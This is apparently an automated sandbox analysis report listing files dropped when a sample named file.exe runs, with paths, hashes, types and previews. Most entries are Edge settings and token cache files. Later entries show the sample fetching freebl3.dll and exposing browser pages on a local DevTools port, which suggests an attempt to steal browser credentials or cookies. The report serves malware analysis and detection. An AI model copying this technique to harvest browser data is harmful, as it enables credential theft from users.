MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.019005359030933
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXlUXS0WN4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lVOSlV
MD5:	4BE6D1DF51B4819F2BF416BECE276CAD
SHA1:	80751FE7CEE14486DEA3153E08D61C10129E98C0
SHA-256:	430A34852B4B63E45B6FED02D65CA0ACA2C33A2F67ACE1FC23A1419F38EE4B0F
SHA-512:	EFCDEE23C57D52B26DDD925D9F742E2294DF547A38C64B3E236476EAB940D19627DC456369951913D79018F3EBE63402B7E99AC3E1A72BD11F1F802B949C1A29
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732435362766935}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ba475fed-2277-4427-8f5c-70c438360a43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44979
Entropy (8bit):	6.094773976170049
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW+ei1zNt6snzgdR982aGAEywJKJDSgzMMd6qD47u3S:+/Ps+wsI7yOKsmRHKtSmd6qE7lFoC
MD5:	0B599AF0F7628FBAE1B0770AE2AC643A
SHA1:	36C66404D21710D1EFC1D524A34503CBD658A6E0
SHA-256:	88FD67B1FBC10AB6A62C17503A8672D3103E7FFA46FBC51817E5750A16B4117E
SHA-512:	6FD061F11E7F8F4927439A941EF672B2166F777ABD8D0C50B7A165717777EAEDD406F4FD15152D8282A42E7AA448E0CD8692BE429FAEC459033E74F29C01768B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.851611825348435
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxL13xl9Il8ulqn/12vml3S1pXsg3aHFFyJlm6a0d1rc:m0Ymn/4e1sp8Qfrmb
MD5:	63ECE40E6AB7650435D697A6DC544B67
SHA1:	D0D6BE081661F5DF1FB56094CA63D47E76F05974
SHA-256:	719D6888E79B4B74AB29E9A9A8D14038BA9A7DC7B0EACF1F6FDD19283AF5E287
SHA-512:	62761DDD78B861F3E37AE1A022E2354A6157505EC574EA5182FDA9055646249E302F57A1B561265B0FE047CD2517F4C3A8DE15C9451ED9AE360A9C58AF97745B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.E.U.D.7.W.Q.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.7.o.h.S.R.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000415016536517
Encrypted:	false
SSDEEP:	96:/YLO4o62w3eCAFiJcbPRXlzGNZ+gYlaoDODxXYDUFw:/2O4yQLAFiJcbPjSDXYg+Kxer
MD5:	4D8BE7BFE73E5505BB59D40EAF5179EB
SHA1:	982C7B28DACF989E21D86FF8A4C042C2AEBF0F8D
SHA-256:	7EB60C1C49B1EA796AA7752AAACE81FC4D40C54D34A7EF45C9E976B781DED6EF
SHA-512:	2C9712C9F346609E7FF097830B58F3C24BA5F83D52E6CC5960DA29169B5352368E8E6E42DD13E8D6BB09C7EF337887432C827766FFBE867C4DFA2325615EAA4E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".h.g.Q.a.0.l.w.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.7.o.h.S.R.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.898851287406393
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xG1xl9Il8uzdK0M6xDd2kwkTaGYzMQefqoK51WUnMd/vc:aQY/K0MgDpwNJMAbWy
MD5:	3445B92897927215E042800B0B3FB937
SHA1:	7B9A842BD3DE58FEBC840ECBE83F8307244990CC
SHA-256:	E1D7BA2A984059CE8D86B760FDB79165AEDA2008FFA869FC52DF9EC87B317F78
SHA-512:	1F95A7EB00E3EF11CA9B4EAEE55A22DB6F613308A20D9D82A077B724E9A101912A66EF8018F50C2C00879DCAD0915ED6D5D6875926E1FFC8DF700B737414B59D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".4.Y.q.5.A.i.5.c.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.7.o.h.S.R.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.396347150360823
Encrypted:	false
SSDEEP:	96:6NnQinHQaNnQRzvxv4bQRzv7NnQBgc29QBdNnQRdgEQcNnQMLTQMYNnQEDQTNnQ0:6ND5NMNo3hdNoxNYNhAN7AN+
MD5:	E1652FCD4B42AF3B7AE7BB3A20AEF914
SHA1:	F22A2961AF6D507D62D73861F7874098D00A3469
SHA-256:	083549284AE8EA7D6D2E831A2AFB7B15E0C45EA8968E26D55353E627321D43FC
SHA-512:	52E68CBA207CB86B5E5583186890BDB6535BFF3A1A648CD78D70CD4F1812AF43291B3163D90F7561CD35E221AEA7A4FA0C26B3C2F961C5E964C2CF63CA3E6309
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/94DCD86C78765CB65FD7E253ED5FF73C",.. "id": "94DCD86C78765CB65FD7E253ED5FF73C",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/94DCD86C78765CB65FD7E253ED5FF73C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/49108DE64BE68AEAA2B8BEEB64F88383",.. "id": "49108DE64BE68AEAA2B8BEEB64F88383",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/49108DE64BE68AEAA2B8BEEB64F88383"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.381418789243057
Encrypted:	false
SSDEEP:	48:SfNaoQLUMUETEQLUwfNaoQvncQvPfNaoQcxggx4QcmfNaoQ7qEgxC0UrU0U8Q7Q:6NnQohETEQo8NnQvncQvnNnQcxggx4QE
MD5:	1A3297D92D591487353681515A1B1FE7
SHA1:	B7BDEFB6AFD31F11737C702AEE53A73DE1011EC6
